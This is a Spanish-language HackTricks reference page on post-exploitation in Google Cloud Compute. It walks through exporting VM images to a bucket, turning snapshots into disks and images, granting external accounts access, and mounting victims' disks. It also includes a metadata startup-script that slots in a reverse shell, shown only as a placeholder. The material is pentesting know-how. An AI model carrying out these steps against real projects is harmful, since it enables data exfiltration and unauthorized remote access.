GCP - Compute Post Exploitation

Apoya a HackTricks

Compute

Para más información sobre Compute y VPC (Redes) consulta:

GCP - Compute Enum

Exportar e Inspeccionar Imágenes localmente

Esto permitiría a un atacante acceder a los datos contenidos dentro de imágenes ya existentes o crear nuevas imágenes de VMs en ejecución y acceder a sus datos sin tener acceso a la VM en ejecución.

Es posible exportar una imagen de VM a un bucket y luego descargarla y montarla localmente con el comando:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Para realizar esta acción, el atacante podría necesitar privilegios sobre el bucket de almacenamiento y, por supuesto, privilegios sobre cloudbuild, ya que es el servicio que se va a solicitar para realizar la exportación. Además, para que esto funcione, el SA de codebuild y el SA de compute necesitan permisos privilegiados. El SA de cloudbuild <project-id>@cloudbuild.gserviceaccount.com necesita:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

Y el SA <project-id>-compute@developer.gserviceaccount.com necesita:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Exportar e Inspeccionar Instantáneas y Discos localmente

No es posible exportar instantáneas y discos directamente, pero es posible transformar una instantánea en un disco, un disco en una imagen y, siguiendo la sección anterior, exportar esa imagen para inspeccionarla localmente.

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspeccionar una imagen creando una VM

Con el objetivo de acceder a los datos almacenados en una imagen o dentro de una VM en ejecución desde donde un atacante ha creado una imagen, es posible otorgar acceso a una cuenta externa sobre la imagen:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

y luego crear una nueva VM a partir de ella:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Si no pudiste dar acceso a tu cuenta externa a través de la imagen, podrías lanzar una VM usando esa imagen en el proyecto de la víctima y hacer que los metadatos ejecuten un shell inverso para acceder a la imagen añadiendo el parámetro:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspeccionar un Snapshot/Disk adjuntándolo a una VM

Con el objetivo de acceder a los datos almacenados en un disco o un snapshot, podrías transformar el snapshot en un disco, un disco en una imagen y seguir los pasos anteriores.

O podrías otorgar acceso a una cuenta externa sobre el disco (si el punto de partida es un snapshot, otorgar acceso sobre el snapshot o crear un disco a partir de él):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Adjuntar el disco a una instancia:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Montar el disco dentro de la VM:

  1. SSH en la VM:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identificar el Disco: Una vez dentro de la VM, identifica el nuevo disco listando los dispositivos de disco. Típicamente, puedes encontrarlo como /dev/sdb, /dev/sdc, etc.

  2. Formatear y Montar el Disco (si es un disco nuevo o en bruto):

  • Crear un punto de montaje:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Montar el disco:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Si no puedes dar acceso a un proyecto externo a la instantánea o disco, es posible que necesites realizar estas acciones dentro de una instancia en el mismo proyecto que la instantánea/disco.

Support HackTricks

Last updated